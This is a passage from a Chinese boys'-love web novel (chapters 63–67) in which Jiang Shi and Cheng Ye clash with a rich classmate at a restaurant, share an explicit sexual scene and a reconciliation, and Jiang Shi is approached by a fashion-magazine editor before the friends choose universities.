“你这是要往哪里去?听说你妈是个种地的,这种地方你吃得起么?刚好,我们今天同学聚会,怎么说我们以前也算是一个学校的,要不你来一起吃,不要你A钱怎么样?就当我请你了。” 三番两次被拦路,江时明显有些不耐烦。 他眉头轻蹙,“不劳你请我,我怕我恶心得吃不下。还有,我没有往垃圾堆里凑的爱好。” 谢鸿回回爱往江时跟前凑,但回回都得不了什么好处,偏偏又死性难改。 “宋时!”他咬牙切齿的,“你以为你能嚣张到几时?霍寂出国了,我看以后谁还护着你。” 江时莫名其妙,“霍寂什么时候护着我了?有病就去治,吃饭治不好脑瘫。” 说完他绕过谢鸿就走,走了没两步一只手抓上他的肩膀。 江时扭头,还没来得及做什么,另一只手从他头顶擦过,抓住落在他肩膀上的那只手,然后…… 砰—— 谢鸿被巨大的力道掼着,一脚踹到了墙上。 鼻尖传来干燥的味道,江时抬头,程野下颌紧绷,眼神很暗。 第64章 谢鸿躺在地上足足懵了快半分钟才回过神,他捂着胸口剧烈咳嗽,连讲话都格外困难。 “咳咳……宋、宋时,你竟敢、竟敢打我。” 江时愣了好一会才反应过来发生了什么,打都打了,他挑了下眉,“你嘴贱的时候怎么不怕被打?” “你……咳咳……”谢鸿双手撑在地上,瞪了眼站在身后的一群人,“愣着干什么,扶我啊!” 前面的两个男生终于回神,着急忙慌地跑过去把谢鸿扶起来。 胸口闷闷的疼,谢鸿甚至还能从嘴里尝到一丝血腥味,他咽了咽口水,抬头朝江时那边看去。 从未见过的高大男生站在他身后,脸上没什么表情,眼眸暗沉,就这么望着他。 谢鸿被那眼神看得打了个哆嗦,胸口又疼上几分。 “我要报警,今天这事你别想完了!” “那你报。”江时抱着手,无所谓道:“我顶多就是被警察教育教育,然后赔你点医药费,倒是你,今天报警,明天被我打的事可就人尽皆知了……”说完他往谢鸿身后看了眼,露出一个很浅的笑,“不过,好像已经人尽皆知了呢。” 谢鸿牙龈都快要咬碎了。他倒是想还手,可程野人高马大地往那里一站,明明没怎么用力,手臂上鼓起的肌肉却那么明显。 那一脚给他踹出心理阴影了,他不敢,身后的人也不敢。双方就这么僵持着。 几秒后,谢鸿气急败坏地喊:“保安!经理呢!饭店的人是死了吗!” 躲在人群里的经理见状才匆匆挤出来,“二位和气生财、和气生财,您看这真是大水冲了龙王庙,我们小本经营的,实在经不起折腾。” 谢鸿上去给了经理一脚,“我没功夫听你在这放屁,我在你们饭店被人打了,必须给我个说法。” 经理被踹得往后退了一步,脸上笑意不减,他左右打量了下双方,看不出身份,不太敢做决定。 几秒后,一个保安一路小跑到他身边,靠在耳边悄悄说了几句话,经理脸上的神情才变了变。 他堆着笑朝谢鸿道:“您放心,我们一定会给你一个交代。” 说完,看向江时这边时冷下了脸,“这几位客人,大庭广众之下当场打人不对吧?” 程野往前走了步想要说什么,江时拉住他。他站在程野跟前,脸上的表情从容不迫,“是,我们是打了人,但是他出言不逊在先,我们只是没控制住情绪还了下手。不过我也说了,想报警就报,警察怎么说我们怎么做。” 谢鸿常年跟他作对,如今被打了本来就觉得丢人,要是再报警的话,岂不是直接承认他不如江时? 江时敢打赌,让谢鸿报警,还不如直接杀了他。 谢鸿的确也是这么想的,可他实在咽不下这口气,只能冲经理怒吼,“把他们给我赶出去,这辈子我都不想在这个地方看见他们!” 经理见状有些犹豫。谢鸿看见了,面色显出几分狰狞,“你知道我大伯是谁吗?得罪谢家,我让你吃不了兜着走。” 保安又靠在经理旁边说了几句话。 经理又再次变了脸色。他朝谢鸿挤出一个笑,“谢先生是吧?您放心,针对这么恶劣的事件,香居楼一定会给您一个满意的答复。” 说完他朝保安使了个眼色。保安会意,站在江时一行人面前,“请你们出去。” 这明晃晃的赶客行为看得王卓一股无名火,“不是,凭什么啊?明明是他挑衅在先,凭什么让我们走?而且我们是花了钱的。” 一群买六折价进来的散客,经理压根不会过多理会,“一群寻衅滋事的人,喊人来把他们赶出去,对了,让前台拉黑他们,以后香居楼恕不接待。” 傻子都能看出来,经理一看谢鸿比他们有钱有身份,所以不分青红皂白就赶人。 王卓欲要上前理论,几个保安忽然出现把他们围着,“抱歉几位,麻烦你们出去。” 谢鸿这才笑出来,“江时,你刚刚不是很得意吗?再得意一个给我看看?还真当自己是个少爷啊,现在连香居楼的门都进不了,丢不丢人?” 程野往前跨了一步,江时眼疾手快地伸手拉住他。 周围聚集的人越来越多,他皱着眉头低声道:“别去。” 程野握紧双手,“他说你。” “说就说了,你还能再打他一顿?” 程野不吭声,身体紧绷。 江时拽了他一下,“行了,再闹下去我们就不占理了。” 保安在催促,脾气急的刘满已经跟他们推搡起来,看好戏的目光落在身上,江时感觉脸皮火辣辣的。 之前在宋家,万事讲究个体面。那时他的身份算不上多好,但去哪里都会有人恭敬问好,事事准备周全,再不济,也不会像今日一样落得个当众难堪。 可这些明明不是他的错。 江时垂在身侧的手捏得有些发白,在谢鸿挑衅的眼神下,他闭了闭眼。 下一秒,一顶帽子落在他头顶。 耳边传来程野没什么感情的声音。 “走吧。” 江时指尖颤了下。 程野把帽檐拉低,眼神扫过经理,然后是谢鸿,他目光平静,从每个人脸上扫过,像是要将他们记在眼里。 “我们走。” 刘满衣服上的扣子被保安扯歪了两颗,气得胸膛都泛着红,闻言顿了顿,“程哥?” 他万万想不到,程野却是先屈服的那个。 程野没说什么,拉着江时的手,带着他转身。走了还不到三步,一道张扬的声音从人群里传出来,“让一让、让一让……” 声音很熟悉,江时抬头看去,一个卷毛脑袋从人堆里挤出来。 张池咧着嘴朝江时笑,费劲走到他身边,歪着屁股一拱,就这么挤进程野和江时中间。 他伸手撑在江时肩膀上,再扭头时,脸上的笑顿时就没了,“谢鸿,几天不见,你又满嘴喷粪?我很好奇,你一天不犯贱,是不是心里就难受?” “张池……”谢鸿脸色变了变,“你怎么在这里?” 张池道:“我家江时小宝贝在哪里,我就在哪里。” 这回不仅谢鸿,江时旁边的程野也变了脸色,甚至连经理都变了脸色。 经理不知道谢鸿是谁,但他知道张池。张家的独苗苗,要星星给星星,要月亮给月亮的。他实在不明白张池是怎么跟这群人认识的,只能笑着腆着脸上前,“张少,没想到您今天也在这里吃饭……” 张池伸手推开经理的脸,插着腰站在谢鸿面前,“你不是说江时打了你吗?我跟他一起的,他打的就是我打的,打的就是你,有本事你就打回来。” 他把自己白嫩的脸往谢鸿跟前凑,“来,有本事你往这里打。” 连霍寂都不敢轻易招惹张池,谢鸿哪里敢。他今天敢打张池,明天他爹就能把他腿打断。 他挤出一个非常难看的笑,往后退了两步,“你开什么玩笑……” “谁跟你开玩笑了?”张池道:“只敢让经理把人赶出去算什么男人,有本事你就打回来,我就站在这里不动,你打。” 谢鸿脸色铁青。 张池见状冷笑了声,“道歉。” “凭什么?” “凭我姓张,你不是喜欢以权压人吗?你今天要是不道歉,那明天只能喊着你爹亲自上我家来了。” 谢鸿的脸瞬间变得无比难看。 张池朝他倨傲地抬了抬下巴。 空气很安静,两人无声对峙。 最终,谢鸿黑着脸站在江时跟前,很不情愿的低着头说了声“对不起”。 张池:“嘻嘻。” 江时:“……” 谢鸿道完歉就跑了,他身后的几个同学你看看我、我看看你,也跟着走了。 “蠢货一个。”张池拍拍手,“就这么个蠢东西也敢找你麻烦,哪天我找人偷偷套麻袋揍他一顿。” 他歪头正想跟江时说什么,余光看见正在赔笑的经理,“哦……还有你,你被开除了。” 经理脸上笑容停滞,“张少,你听我说……” 张池才懒得听他说,拽着江时就走,“不是我说你,你来江城怎么不跟我说?要不是我在楼上吃饭,听说下面打起来,好奇来凑热闹,你岂不是白白被他们欺负了?” 江时被拽着走了好几步,眼看着到电梯门口,连忙止住脚步。 “等等……我朋友还在呢。” 张池回头,果然看见江时后面站着好几个人,而他刚刚挤开的那个男生则盯着他握在江时小臂上的手,脸上明明没什么表情,但看得他心底莫名发毛。 他下意识松开手,觉得江时新交的朋友怪凶的。 “你们来这里吃饭啊?” 江时“嗯”了一声,有些无奈,“没想到运气不好,遇到了谢鸿。” 张池大多数时候都是一副傻白甜的样子,乐呵呵的,也不觉得尴尬,“刚好我也是一个人,跟你们一起吃呗。”他大手一挥,“我请客。” 江时看向王卓,王卓看向程野,于是江时朝程野看去。 从张池出现到现在,程野一句话都没说。 见他沉默,张池也不乐意了,“那他们吃,我带你去楼上吃。” 他拉着江时要走,程野终于开口,“一起吧,叫服务员添张椅子。” 有吃的就行,张池不挑。他挤着江时坐,抬手给自己倒了杯饮料,小嘴叭叭的,“我还打算过两天去找你玩呢,你是不知道,考试完试玩了两天后,后面就变得好无聊。我爸妈还想让我出去旅游,一个人玩好无聊,要不你陪我去吧?” 江时习惯了他的聒噪,“不去。” “为啥啊?”张池道。 “没钱。” 别的张池可能没有,但说到钱…… 他更兴奋了,“我有啊,我给你,你要多少?” 江时:“……” 顿时,桌子上的人看他的目光都不一样了。 旁边冷飕飕的,张池又往江时那边挤了挤,“这么热的天,你有没有感觉有些冷?” 江时被挤在角落里动都动不了,一抬眼,就是程野幽幽的目光。他顿了顿,推了把张池,“过去点,挤到你爹了。” 张池不动,欲盖弥彰地端起杯子挡住右半边脸,“爹,我旁边这个是谁?看着怪凶的。” 江时沉默了会,道:“程野。” “什么!”张池惊了,“他就是……”他拔高音量,见有人往这边看又默默把没说出口的话吞下去,悄咪咪的,“我靠,闻名不如见面,他怎么是这样的?” 江时想,不是这样是什么样的? 张池说:“果真人如其名,看着挺野的。” 江时说:“他听得见。” 张池:“……” 张池猛地扭头,程野正往他们这边看。见他看过来,程野扯了扯嘴角,一双漆黑的眼睛暗沉沉的,“刚刚多谢你。” 对着他的眼神,张池下意识有些发毛,但还是笑了笑,“客气什么,我跟江时关系好着呢,应该是我多谢你照顾他才是。” 他道:“兄弟你还记得我不?我们电话里聊过的。” “记得。”程野没感情地说:“张池。” 张池放下手里的杯子,“嘿!兄弟你记性真好,江时去那个破地方还得多谢你平时照顾他,不然就他那性格,我真怕别人欺负他。” “不用客气,应该的。” “哪能应该呢……”张池道:“我爹我再清楚不过了,别看我们关系好到可以穿一条裤子,但他那性子没几个人受得了。” 江时:“……” 他抬眼,果不其然程野朝他看过来,“关系这么好吗?好到穿一条裤子。” “也没有那么好。”张池很害羞地说:“我倒是能接受穿他的裤子,他估计不太能接受。” 江时:“……” 活爹,你可快别说了。 第65章 张池越说江时越坐不住,旁边的程野脸上倒看不出什么奇怪的表情,偶尔还应和一下张池的话,但江时莫名觉得他心情不好。 他把张池喝了大半的饮料添满,转移话题,“你那么对谢鸿,万一他有心报复你怎么办?” “他才不敢呢。”张池笑嘻嘻的,“我舅前段时间又升官了,天天都有人上赶着巴结我家。算命的说,我八字好,旺全家,他们可宝贝我了。” 只能说有的人就是天生的富贵命。 张池有钱,不但没心眼,还没什么架子,除了出场的时候唬到点人,随着时间推移,渐渐跟饭桌上的一行人混熟了。 刘满圆脸圆眼,换了当初的杀马特穿搭,整个人看起来清爽又无害,拿着杯子两三句就跟张池推心置腹起来。 他笑眯眯的,“你跟江时的关系看起来真好,什么时候认识的?” “我们幼儿园就认识了,太阳花幼儿园知道吧?我俩小时候就在那读书。江时小时候脸还没现在这么臭,粉雕玉琢的,是整个幼儿园里最好看的小朋友,我一眼就相中了……” 张池小嘴叭叭的,“他小时候可比现在可爱多了,那时候还怕打雷,吓到了抱着枕头找我跟他睡觉呢。” 他越说,旁边的程野越安静。 江时在桌子底下踹了他一脚,“你少说点吧。” 张池被踹得有些懵,“不是吧江时,你脸皮也太薄了吧?再说了,在场都是朋友,又没你未来老婆,你担心个什么?” 江时:“……” 刘满顿了顿,也没吭声。 不说就不说,张池捧着碗干饭,吃了会,他又凑在江时身边,“这楼下的菜没上面的好吃。” 江时夹了一筷子牛肉塞住他的嘴,“大少爷,是你非要跟我在这吃的。” 张池道:“这不是喊你上去你不去嘛,其实你朋友们也可以一起叫上去的,我再开个包间就是了。” 可谓是人傻钱多张大少。 张大少又道:“你看你过的这是什么苦日子,吃也吃不好,穿也穿不好,我给你钱你还不要。” 江时:“……” 程野拉开椅子站起来,“我去上个厕所。” 江时看了他一眼,对方留给他一个背影。 张池抱怨,“你这朋友怎么回事?冷冰冰的,话也不爱说,看见我连个笑脸也没有,当初我还给他选衣服了呢……” 江时也拉开椅子站起来,“我也去上个厕所。” 张池:“……” 不是,尿频尿急啊? 江时寻着路找到厕所,一进去,里面一个人也没有,空荡荡的,米色地砖照出他的倒影。 “程野?” 江时试探着喊了声。 没人回应他的话。 他又往前走了两步,快走到尽头时,忽然一只手伸出来捂住他的嘴,一眨眼的功夫就把人拖了进去。 江时瞪大双眸,后脑勺上垫着手掌,后背撞在厕所隔间的门上,发出哐当的巨大声响。他人还没回过神,干燥的唇便急促地压了下来。 鼻尖传来热烘烘的干燥味道,江时紧绷着的腰缓缓放松,伸手环住挤压着他的肩膀。 于是亲得更凶了。 垫在他后脑勺上的手不知道什么时候移开,T恤的下摆被撩开,滚烫的掌心贴着腰滑了进来。 江时被挤在隔间狭小的角落里,前后都被围着,跟前的人带着急躁得不行的情绪,像是在寻求什么,恨不得把自己挤进他的身体。 放在腰上的手缓缓往上,掌心的茧又糙又厚,胸口娇嫩的皮肤刮过时带出娇气的红痕,挤压、搓揉、拉扯到有些变形。 江时哆嗦一下,难受的弯着腰,唇被吃着,连制止的话都说不出来,只能伸出手,试图把衣服里的手拽出来。 但刚碰到手臂,就被另一只手拉着往下。 程野松开嘴,狗一样埋在江时颈肩,下流地把腰往前送。 “少爷,摸摸我……” 隔着布料,江时摸到了烫手的山芋。他试图甩手,但被紧紧扣着,怎么也甩不开。 “程野!”他耳根红得快滴血,“大庭广众之下,你怎么……怎么……” “我不知道……” 程野舔着白嫩的肩颈,像是憋得很,眼尾浮着猩红。 “少爷,求你碰碰我,用什么都行,摸一下我吧,你还是喜欢的对不对?” 江时挣扎的动作顿了下。 程野还在急躁地往他身上凑,汗水从他棱角分明的脸往下落,呼吸一声比一声还急促,狭小的空间被闷成潮湿情潮。 比起身体上的需求,他更多的是想要江时的触碰。他急切地需要他的抚摸,从张池出现后尤为的盛,憋得太久,于是得到不到安抚到肉体变转化成了汹涌的情潮,来势汹汹。 比起人,程野此刻更像是被情潮困住的野兽,恬不知耻地往江时跟前凑,拽着他的手,丑陋的东西往他手里送。 “求你了,摸摸我,亲亲我……” 哐当一声,厕所隔间被打开,江时吓了一跳,整个人缩在程野怀里,抽出手捂住他的嘴。 程野伸出舌头从他掌心刮过。 不知是热还是什么,江时眼尾氤氲着水汽,眼睫抖得不像话。 隔间的人来了又走,程野依旧贴着他不放。得不到抚摸,他整个人肉眼可见的变得急躁,喉咙里挤出压抑的闷哼。 江时闭着眼,缓缓吐出一口气,像是下了某种决心,伸手扶住,仰头把自己的唇送上去,贴着程野干燥的唇,安抚地舔了舔。 “程野,我在呢,一直都在,最喜欢你了……”- 张池左等右等,饭都快吃完了,江时才回来。 程野跟在他身后,两人以前一前一后,江时冷着张脸,话也不说,浑身冒着股冷气,似乎是洗了把脸,额头前面的头发都是湿的。 程野走到他身边,刚张嘴,江时当即转了个身,于是他碰了一鼻子的灰,看着江时坐到张池身边。 他摸摸鼻子,也坐到张池的另一边。 张池顿了顿,拉着椅子往江时身边挪,“爹,怎么生气了?” 江时没说话,打湿的发丝垂下,鼻尖被碰得有些冰凉,他似乎还能闻到溅落在脸上的腥味。 简直是…… 程野自知理亏,剥了虾放在碟子里往江时跟前推,“你尝尝这个。” 江时刷一下垮着一张脸,“拿走,不稀罕。” “那螃蟹要吗?” “鸡肉?” “排骨……” 江时抓起筷子朝程野脸上丢,“别跟我说话,看见你就烦。” 一时间,饭桌上陷入诡异的安静,张池挤在两人中间巍颤颤的,他干笑一声,“这是怎么了?” 江时没说话,只是在心底发誓,他要是再心疼程野他就是狗。 一顿饭就这么兵荒马乱的吃完。 在张池的软磨硬泡下,江时答应了明天跟他一起玩,送走其他人,他跟程野回了酒店。 一进门,程野很自觉地跪在床边,眼巴巴望着江时,“对不起,我错了。” 江时:“……” 认错倒是很积极,就是从来没见他改过。 他权当看不见,自顾自的去洗澡。出来时程野还在原来的位置上一动不动。 见他出来,程野往前挪了挪,靠近江时,“你没吃饱,我叫酒店炒了份炒饭。” 江时坐在床上,语气凉凉的,“吃什么,气都被你气饱了。” 少年柔软的发丝搭在额前,脸蛋被水汽蒸出薄红,领口半开,敞着截精致的锁骨,身体里的暖香混合着酒店不知名的沐浴露味道,往程野鼻子里送。 他喉结滚了滚,又想起溅在他脸上时的样子。 白玉一样的人,硬生生被他给玷污了。 他眼里的光很是不清白,江时一眼就发现了,抬脚踢了下他挺直的腰腹。 “程野,你在想什么呢?” 程野喉结滚了下,“没。” 江时抱着双手,垂着眼审视他,“那你说,你错在哪了?” 程野盯着他。 “怪我射得太高。” 江时:“……” 他还能指望从程野这张嘴吐出什么好东西来? 江时躺下,拉着被子把整个人盖住,“这么会讲话,那你跪着讲吧。” 程野:“……” 说多错多,程野干脆闭了嘴,老老实实跪着,等江时气消了再说。 等了会,江时翻了个身,被子里传出他闷闷的声音。 “我跟张池只是普通的朋友关系。” 程野愣了愣,才反应过来江时是在跟他解释。 “我知道,只是我……” 只是他控制不住。他希望别人对江时好,可又怕别人对江时太好。 他能给的别人也能给,那江时就没待在他身边的必要了。 江时没察觉到他的心思,以为他只是吃醋了。他说:“张池是个早产儿,身体不太好,他家又只有他一个,宠得不行,胡吃海喝的喂,给他从小喂成个小胖子。” “当时有个小孩跟他不对付,就串掇其他孩子孤立他,天天骂他是死胖子。他胆子小,被欺负了也不敢跟家里人说,我看不过去,帮了他几次,他就成天跟在我屁股后面跑。一来二去,我们就混熟了。” 说到这里,他扯着被子嘟囔了句,“这么个大男人,能不能大度点?” “怪我太小气……”程野趴在床边,伸手扯了扯被子,“我下次会注意,就原谅我这次好不好?” 被子松了点,江时露出一双眼睛,眼皮被闷得有些粉。 他看着程野,眼睛湿漉漉,声音小小的。 “程野……你是不是有那个……那个瘾啊……” 第66章 程野好几秒才反应过来他说的是什么,他人靠在床边,指尖擦过江时闷得发粉的眼皮。 “怎么会这么问?” 江时闭了闭眼睛,那点褶皱的颜色更深了,“因为你总是不分场合的发情。” 不怪他用发情来形容,他感觉那种时候的程野真的跟发情差不多,看起来毫无理智可言,满脑子都是那种事。 程野也不知道自己怎么了,但他并不觉得自己有瘾,哪怕有,也只是对江时有瘾。他知道自己大概率不正常,于是问江时,“吓到你了?” 江时团了团被子,“还好……只是……” 程野说:“要不我去医院看看?” 他这么说,江时反而又心疼起来,“也没什么大不了的,不说了,睡吧。” 说完后,他人往里滚了滚,留了半边被子出来。 程野抵着床,缓缓笑了。 张池总说江时脾气不好,可在程野眼里,再也没有比他心更软的人了- 第二天,依旧是个大晴天。 答应了张池要出去玩,江时一早就爬起来。他醒的时候屋子里只有他一个人,等他洗漱出来程野正拎着早餐回来。 他秉承着正宫该有的气度,帮江时把东西收拾好。 “今天天气预报说有雨,虽然现在看着有太阳,但还是得带把伞。钱我放在书包的夹层里,想买什么就买,太阳大,帽子还是得戴上……” 江时从一堆早餐里挑了个包子,坐着嚼嚼嚼,左耳进右耳出。 程野又说:“本来计划陪你玩,既然你跟张池出去玩,那我今天先把房子找了。” 江时这才朝他看去,“房子?什么房子?” “天天住酒店也不行,我打算在大学城附近租个房,等以后上大学了搬出来住。” “啊?”江时愣了愣,“不住校啊?” 程野居高临下地垂着眼看他。 “……” 江时咬了口包子。 不住就不住,表情那么凶干什么? 坐了会,他又忍不住道:“要不再缓缓?万一我考不上呢?” 程野刷一下把书包拉链合上,“没有万一,江时。” 一见他这样,江时来气了,把脚从拖鞋里拔出来给了程野的小腿一下,“昨天死皮赖脸的趴在床底给我认错,一晚上过去,你就开始给我摆脸色?” “呵!”他冷笑,“得到了果然就不会珍惜。” 早知道让他跪个两三天。 程野:“……” 江时两三下把包子吃完,又拿起一杯豆浆,“再也不见!” 程野把包给他背上,“我晚上来接你。” 江时说:“我要跟张池回家,我要去他家睡,跟他睡一张床上。” 果不其然,他说完后,程野的脸又黑了一个度。 “江时……” 江时头也不回地拉开门。 程野跟在他后面,把帽子给他戴上,再次重复,“我晚上来接你。” 对方留给他一撮从帽子后面翘起来的头发。 …… 张池的车刚到酒店楼下,远远就看见大堂里一前一后出来两个人,前面那个他很熟。 他摇下车窗,趴在窗上朝江时挥手,“江时,这里!” 江时垮着脸拉开门,进去了才发现里面还坐着个宋建安。 好久不见,他依旧没变白一点,剪了个短发,头发刺棱棱的,看着更呆了。 书呆子宋建安推了推眼镜,跟江时打招呼,“好久不见。” 江时愣了愣,弯腰坐下,“好久不见。” 宋建安也看见了跟在江时身后的程野。随着时间流逝,再加上程野送了他一套密卷,宋建安自觉自己成熟不少,没必要为了以前的恩怨斤斤计较。 他也跟程野打了个招呼,“程野同学,好久不见,不知你高考考得如何?” 程野一心在江时身上,压根没听到他的话。他站在车窗边,半弯着腰跟江时道歉,“对不起,我刚刚没有要凶你意思。” 宋建安:“程野?” 程野扭头,对上一张黑脸,他愣了愣,“你是?” 宋建安:“……” 他起身探过身子,按下江时旁边关窗的按钮,把程野那张让人生厌的脸隔绝在外面,拍拍衣袖,朝张池家的司机道:“走吧。” 车子缓缓离去,站外面的程野:“?” 车里,江时噗呲一声笑了出来,朝宋建安竖了个大拇指。 宋建安面无表情,“果然,我这辈子都不能原谅程野。” 前面的张池系着安全带,艰难扭头加入话题,“小安子,你认识那个程野?” 宋建安:“我们之前是一个村的。” “哦……我想起来了。”张池道:“你们之前有过过节吗?” 此事不足为外人道也,宋建安选择沉默。 江时岔开话题,“我还以为只有张池,你怎么也来了?” 张池扭着头,“你是不知道他有多变态,一考完就跟着他爸去公司,天天六点不到就起来上班,要不是我把他拽出来,他现在说不定还在公司呢。” 江时沉默了会,“宋博叫你去的?” 哪怕坐在车里,宋建安的坐姿也是那种乖学生的坐法,双膝并拢,双手搭在膝盖上。 “是他叫我去的,但去了之后我才发现,原来还有这么多我不懂的地方。做生意也是一门学问,我做出的第一份方案很差劲,虽然宋博没说什么,但我在他眼里看到了失望。” 江时试探道:“你不忍心让他失望?” “并不是,我只是感觉自己的能力遭到了质疑。” “所以?” “所以我这两天挑灯夜读,终于弄明白公司的含义和运作机制,然后又熟读员工守则和规章制度。” 宋建安眼里燃起火苗,“这回,我一定能写出一份让人满意的方案。” 江时:“……” 左右都是学习,学什么不是学? 张池继续扭着脖子,“我家有个亲戚新开了个山庄,听说还不错,顶楼有露天泳池,天这么热,我们去游泳吧?” 宋建安说:“我没泳衣……” 张池大手一挥,“没事,买就行了。张叔,掉头去商场。“ 三人改道去了商场。 张池自从瘦了之后就格外臭美,穿衣服选来选去,买个泳裤都要思考是绿色花纹显瘦还是橙色花纹显瘦。 江时受不了他,端着冷饮坐在沙发上玩手机。 商场随便选的,不是很高端,这个点来吹空调的人很多,外面走廊人来人往。 江时打了把游戏,总感觉有人在看着他,他收了手机,抬头往外面看,发现走廊里站着个三十多岁的男人,正目不转睛的盯着他看,也不知道看了多久。 见他看过来,男人非但没移开目光,还朝他露出一个笑。 江时皱了皱眉,没来得急表露什么情绪,男人迈开步子就朝他走过来。 他穿着一身西装,面相看起来还算和善,虽然打量江时许久,但眼底没有那种让人不适的感觉。 男人朝他伸出手,“你好,自我介绍一下,我叫孙天宇,《新潮》杂志的主编,你有听过《新潮》吗?” 江时对时尚不感兴趣,被打扰了有些不耐烦,但还是压着性子回复了,“没听过,不了解,有事吗?” 孙天宇道:“你长得很好看,气质也很独特,有考虑过当模特吗?” “没有。” 被冷漠干脆的拒绝,孙天宇也不生气,“我真的不是骗子。”他掏出名片递给江时,“这是我的名片,或者你去网上搜搜,也能看见我的信息。我们有一期的男装一直没找到合适的模特,今天见到你,那些衣服终于找到了主人。” 说到这里,他有些激动,“你真的很适合,只要你愿意答应我,我给你这个数……”他伸出手在江时面前比了比,“要是觉得不满意都可以谈。” 江时看到价格时愣了愣,然后在孙天宇脑门上读到了两个大字—— 骗子。 他站起身,“你找错人了,我不是什么模特。” “新人啊,没关系……”孙天宇跟在他身后,“我可以教你的。” 江时说:“你再不走我就喊人了。” 孙天宇无奈,“我真的不是骗子……” “三……” “我们杂志很有名的,你去街上看看,买的人很多的。” “二……” 孙天宇把名片一把塞江时手里,“不管怎么样,你考虑考虑,我随时等你电话。” 江时下意识收拢手掌,等他想还回去时孙天宇已经走远了。 张池拎着条泳裤过来,歪头顺着他看的方向看了眼,“你看什么呢?” “没什么。”江时收回目光,“一个骗子而已。” 张池举着裤子问他,“你觉得蓝色衬我吗?” 没找到垃圾桶,江时随手把名片塞包里,对于张池的追问,他评价,“帅气的你穿什么都帅。” 一句话治好了张池的选择恐惧症。 就这么玩了几天,高考出分,江时回去填志愿。 高新和坐他对面捧着书抓脑袋,“小表哥,你填哪里啊?” “B大。”江时说:“但我没想好选什么专业。” “我也不清楚,要不像我妈说的,你去学个医?” 江时摇头,“不要,太血腥了。” “那当老师?” “太累了。” “会计?” “要坐牢的。” “……” 程野端着西瓜从屋里出来,“选热门的。” 江时咬着笔抬眼看他,“以后好找工作吗?” 程野把笔从他嘴里拔出来,虽然很残忍,但他还是说了,“我看了看B大历年的分数线,再根据今年的人数推断,你大概率会踩线进,纠结选什么没用,只能被调剂。” 江时:“……” 程野瞧着他鼓起来的两腮,弯了下眼睛,“不是没喜欢的吗?那学什么都差不多。” 反正江时也不需要为未来发愁。 高新和莫名觉得牙酸,“你们有没有考虑过我的感受?” 他高二本线三十多分,好的学校不好选,差的学校不想去,可谓是非常尴尬。 程野拿着江时的笔,给他圈了几个学校出来,“这几个。” 高新和凑近一看,“盆地?哥,你这是让我去无人区?” 程野道:“你也可以选择复读一年。” 高新和:“……” 那还是算了。 家里人没谁帮得上忙,三人围坐在程野家的院子里自己研究着把志愿填了。 江雪把原本的屋子推了盖房子,这些天过去,才打了个地基,江时没地睡,被打包到高新和家。 填志愿这两天他跟程野睡一起,但他的房间又小又黑,江时待不习惯,打算搬去高新和家睡。 程野给他收拾衣服,“房子我已经找好了,志愿也填完了,要不你跟我去江城?” 江时坐他床上玩手机,“再看吧,跑来跑去好麻烦。” 其实是他想待家里跟高新和玩游戏,程野在他身边老是管着他,烦死了。 程野看出他的意图,淡淡道:“高叔给高新和找了个暑假工,过两天他就要上班去了。” 江时愣了两秒,抬头,“他去打工了?” 程野把内裤给他塞最底下,“嗯,假期那么多时间,不如去赚点钱。” 说完,他手顿了顿,从江时的书包底下摸出一张名片。 “这是什么?” 第67章 江时凑过去看了眼,好一会才想起来这是什么。 “好像是个骗子给的名片,丢了吧。” 看着程野转头去找垃圾桶,他又道:“等等,你给我看一眼。” 程野把名片递给他。 江时拿着翻了下,名片上的东西写得很专业,看着他也不像骗人的样子,他顿了顿,“你说这是真的假的?” 程野垂着眼辨认上面的字,“杂志主编?给你名片干什么?” 江时道:“他说我很符合他们的主题,让我去给他当模特,还说他们杂志叫什么《新潮》,你听过吗?” “没听过。”程野把他手里的名片拿过来,“不重要,别去了,是骗子。” 江时:“……” 他拽了下程野,“你给我查一下。” “不查。” “……” “算了,我自己来。” 程野跟在江时身后,看着他打开电脑,“你缺钱的话我给你,干嘛要去拍那种东西?” 少年穿着件宽大的T恤,领口很开,从程野的角度,胸口风光若隐若现,但还没来得急细看,一本书就拍在他脸上。 “那种东西是什么东西?我是去拍什么见不得人的?” 程野把书拿下来,“反正你不能去。” “为什么?” 他安静几秒,然后不是很情愿地开口,“我看过高新和买的杂志,那些模特身上穿的衣服还没巴掌大,该露的、不该露的都露了。” 江时用脚趾头想也知道高新和买的是什么玩意。 “那能一样吗?”他侧着点身,露出搜索出来的界面给程野看,“你自己看,人家是正经公司。再说了,你知道他给我多少钱吗?两千,你一个月有两千吗?” 程野:“……” 其实江时很懒,大多数时候他都是能躺着绝不坐着的那种。但当周围的人都变得繁忙的时候,让他躺,他又躺不安心。 去工地搬砖他搬不了,拍杂志这种东西,听着挺简单的,或许他可以试试。 程野回江城的时候他找到名片上的电话打了过去,打的时候他没报什么希望,毕竟已经过去这么多天,说不定人家已经找到合适的人了。 那头等了好久才接电话,接电话的是个女生,背景音很嘈杂,“您好,请问您是?” 江时顿了顿,“你好,我叫江时,有个叫孙天宇的联系过我,给了我这个名片。” 女生愣了会,“孙总监是吧?您稍等。” 江时等了快两分钟,那头才传来孙天宇的声音,“你好。” “你……” “我记得你,那天那个小帅哥是吧?你考虑清楚了?要过来吗?” 江时没把话说死,“我想先来看看。” 听他这么说,孙天宇松了口气,然后露出一个笑,“我理解,虽然我很中意你,但你还得过了李娜这关才行。” 他解释,“李娜是我们合作的设计师,你要穿的衣服就是她设计的。她脾气很怪,只有她点头,模特才能穿她的衣服,我们前前后后已经面了十多个模特,没有一个能入得了她的眼。” “我第一眼是觉得你合适,但我觉得合适她不一定会喜欢,不然也不会开到这么高的工资。工资是高,能不能拿下,还得看你自己的本事。” “她明天要出席一个展,后天有时间吗?有的话我安排你们见面。” …… 江时后天起了个早,甚至还捯饬了下自己。 他对着镜子整理发型,歪头问站在他身后的高大男生,“你觉得我穿成这样去怎么样?” 高大男生的脸已经臭了两天,闻言目光往下落,“不行,穿这个显得你屁股翘。” 江时:“……” 那是裤子的问题吗,那明明……明明就是天生的。 他伸手去推程野,“你给我滚出去。” 程野扒在门边,还把江时整理了半天的发型弄乱,“你是去找工作,又不是去选美,收拾这么好看干什么?你见我都没收拾过。” 发丝揉乱了垂在眼角,江时气得拿起毛巾往程野脸上抽,“你手欠不欠?再逼逼赖赖自己一个人在家。” 程野:“……” 因为他的打岔,江时收拾好到孙天宇说的地方已经是中午。 《新潮》的办公区在一栋写字楼里,孙天宇很忙,他们到的时候只有前台在。 前台知道他要来,引着他和程野到休息区,“二位稍等,我们总监在开会,大约还要十分钟左右。” 